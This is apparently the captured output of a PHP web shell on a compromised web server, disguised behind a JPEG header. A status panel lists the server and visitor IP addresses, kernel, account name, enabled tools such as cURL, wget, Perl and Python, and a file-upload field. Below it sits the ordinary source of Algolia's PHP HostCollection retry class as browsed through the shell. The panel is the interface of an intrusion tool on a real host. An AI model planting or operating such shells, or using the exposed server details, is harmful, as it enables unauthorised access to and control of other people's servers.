����JFIF��x�x����'
Server IP : 78.140.185.180 / Your IP : 216.73.216.168 Web Server : LiteSpeed System : Linux cpanel13.v.fozzy.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64 User : builderbox ( 1072) PHP Version : 7.3.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/builderbox/www/vendor/algolia/algoliasearch-client-php/src/RetryStrategy/ |
Upload File : |
<?php namespace Algolia\AlgoliaSearch\RetryStrategy; /** * @internal */ final class HostCollection { private $hosts; public function __construct(array $hosts) { $this->hosts = $hosts; $this->shuffle(); } public static function create(array $urlsWithPriority) { $hosts = []; foreach ($urlsWithPriority as $url => $priority) { $hosts[] = new Host($url, $priority); } return new static($hosts); } public function get() { // We pass the result through array_values because sometimes // we need to make sure you can access the first element // via $result[0] return array_values(array_filter($this->hosts, function (Host $host) { return $host->isUp(); })); } public function getUrls() { return array_map(function (Host $host) { return $host->getUrl(); }, $this->get()); } public function markAsDown($hostKey) { array_map(function (Host $host) use ($hostKey) { if ($host->getUrl() === $hostKey) { $host->markAsDown(); } }, $this->hosts); } public function shuffle() { if (shuffle($this->hosts)) { $this->sort(); } return $this; } public function reset() { foreach ($this->hosts as $host) { $host->reset(); } return $this; } private function sort() { usort($this->hosts, function (Host $a, Host $b) { $prioA = $a->getPriority(); $prioB = $b->getPriority(); if ($prioA == $prioB) { return 0; } return ($prioA > $prioB) ? -1 : 1; }); } }